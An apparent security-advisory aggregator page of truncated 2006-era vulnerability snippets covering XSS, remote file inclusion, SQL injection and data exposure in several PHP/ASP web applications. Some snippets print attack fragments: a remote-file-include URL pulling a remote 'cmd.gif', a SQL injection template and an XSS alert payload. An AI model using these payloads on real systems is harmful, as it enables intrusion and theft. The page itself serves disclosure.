Fix & Chips CMS v1.0

Fix & Chips CMS v1.0 http://software.fixnchipsit.com/ Vulnerable files: staff.php delete-announce.php new-customer.php search.php client-results.php -------------------------------------------- staff.php XSS User input in the Announcement box isn't properly sanatized before being generated. A few...

PHP Live! 3.2.2 Multiple Cross-Site Scripting Vulnerabilities

PHP Live! © OSI Codes Inc. enables live help and live customer support communication directly from your website. With PHP Live!, you can provide one-on-one chat assistance in real-time, answer visitor questions and add that extra human touch to your website. The application if full of xss holes...

Microsoft Security Bulletin MS06-077 Vulnerability in Remote Installation Service Could Allow Remote Code Execution (926121)

Microsoft Security Bulletin MS06-077 Vulnerability in Remote Installation Service Could Allow Remote Code Execution 926121 Published: December 12, 2006 Version: 1.0 Summary Who Should Read this Document: Customers who use Microsoft Windows Impact of Vulnerability: Remote Code Execution Maximum...

ProjectButler <= 0.8.4 (rootdir) Remote File Include Vulnerabilities

No description provided by source. projectbutler-0.8.4 Remote File Inclusion Vulnerability Download: http://prdownloads.sourceforge.net/projectbutler/projectbutler-0.8.4.tar.gz?download Found By: the master exploit: http://Target/Path/classes/Cache.class.php?rootdir=http://cmd.gif?...

CVE-2006-5248

Eazy Cart stores sensitive information under the web root with insufficient access control, which allows remote attackers to download a customer database via a direct request for admin/config/customer.dat. NOTE: the provenance of this information is unknown; the details are obtained from third...

CVE-2006-5248

Eazy Cart stores sensitive information under the web root with insufficient access control, which allows remote attackers to download a customer database via a direct request for admin/config/customer.dat. NOTE: the provenance of this information is unknown; the details are obtained from third...

CVE-2006-5248: Undefined Security Weakness

Eazy Cart stores sensitive information under the web root with insufficient access control, which allows remote attackers to download a customer database via a direct request for admin/config/customer.dat. NOTE: the provenance of this information is unknown; the details are obtained from third...

CVE-2006-5248

CVE-2006-5248 affects Eazy Cart: sensitive customer data stored under the web root with insufficient access control, allowing remote retrieval of admin/config/customer.dat via direct request. Multiple sources (NVD, Red Hat, CVE List, CVE Details) describe the same issue. Root cause is improper ac...

vTiger CRM 4.2 - calpath Multiple Remote File Inclusions

vTiger CRM 4.2 - calpath Multiple Remote File Inclusions \ /\ \ / | \ \ | / \ // / | \ | \ \ Y / | \ / / \ /| /\ / / / / / .OR.ID ECHOADV54$2006 ----------------------------------------------------------------------------------------------- ECHOADV54$2006vtiger CRM =4.2 calpath Multiple...

EVWD26.txt

World Defacers Team --------------------Summary---------------- eVuln ID: WD26 Vendor: Deparcq Pieter project Dook:- Copyright © 2004 by Deparcq Pieter & Dries Van Thourhout Software: Live Customer Support Solution :- http://www.davidsfonds-roeselare.be/ Class: Remote PoC/Exploit: Available...

CVE-2006-5101

CVE-2006-5101 is a PHP remote file inclusion vulnerability in Comdev CSV Importer 3.1 (and possibly 4.1) used across multiple Comdev components (Contact Form, Helpdesk, Events Calendar, FAQ/Support, Guestbook, Links Directory, News Publisher, Newsletter, Photo Gallery, Vote Caster, Web Blogger, e...

Comdev Customer Helpdesk 3.1 :) <= Remote File Inclusion

+-------------------------------------------------------------------- + + Comdev Customer Helpdesk 3.1 : = Remote File Inclusion + +-------------------------------------------------------------------- + + Affected Software .: Comdev Customer Helpdesk 3.1 + Venedor ...........:...

WD25:- Deparcq Pieter project File Include Vulnerability

World Defacers Team --------------------Summary---------------- eVuln ID: WD26 Vendor: Deparcq Pieter project Dook:- Copyright © 2004 by Deparcq Pieter & Dries Van Thourhout Software: Live Customer Support Solution :- http://www.davidsfonds-roeselare.be/ Class: Remote PoC/Exploit: Available...

Charon Cart v3(Review.asp) Remote SQL Injection Vulnerability

Vulnerability Report Title : Charon Cart v3Review.asp Remote SQL Injection Vulnerability Author : ajann Script Page : http://www.charon.co.uk Exploit; http://target/path/Review.asp?ProductID=SQL HERE Example:...

cutenews13.txt

Welcome people In World Defacers Team World Defacers Team ====================================== --------------------Summary---------------- eVuln ID: WD22 Vendor: CuteNews 1.3. Vendor's Web Site: http://cutephp.com/ Software: Live Customer Support Solution :- http://www.pansionat.net/novost/...

CuteNews 1.3.* Remote File Include Vulnerability

Welcome people In World Defacers Team World Defacers Team ====================================== --------------------Summary---------------- eVuln ID: WD22 Vendor: CuteNews 1.3. Vendor's Web Site: http://cutephp.com/ Software: Live Customer Support Solution :- http://www.pansionat.net/novost/...

CVE-2006-3958

Multiple unspecified cross-site scripting XSS vulnerabilities in Taskjitsu 2.0.3 allow remote attackers to inject arbitrary web script or HTML via 1 the Search Tasks system, or authenticated users via 2 the Edit Task system, 3 the back-end Category Editor system, and 4 "Pages that display task...

imlive-vulns.txt

imlive.com Vulnerabilities found by MurderSkillz from www.g00ns.net shouts to www.reclusive-info.org | www.exploitercode.com XSS customerservice.asp ?hostnotlogin="alert'g00ns.net'%3B ---- hostlist.asp...

Cross site scripting

Multiple cross-site scripting XSS vulnerabilities in xFlow 5.46.11 and earlier allow remote attackers to inject arbitrary web script or HTML via the 1 level, 2 position, 3 id, and 4 action parameters to membersonly/index.cgi, and the 5 page parameter to customerarea/index.cgi...

Gentle-killer－cross-site Script attacks-vulnerability warning-the black bar safety net

Gentle-killer－cross-site Script attack · Translation:Billi·transfer from CPCW The first part: cross-site SCRIPT attacks in several ways: Whenever we think of hackers, a hacker is often such a portrait: a lonely man, snuck into someone else's server, destroying or stealing someone else's secret...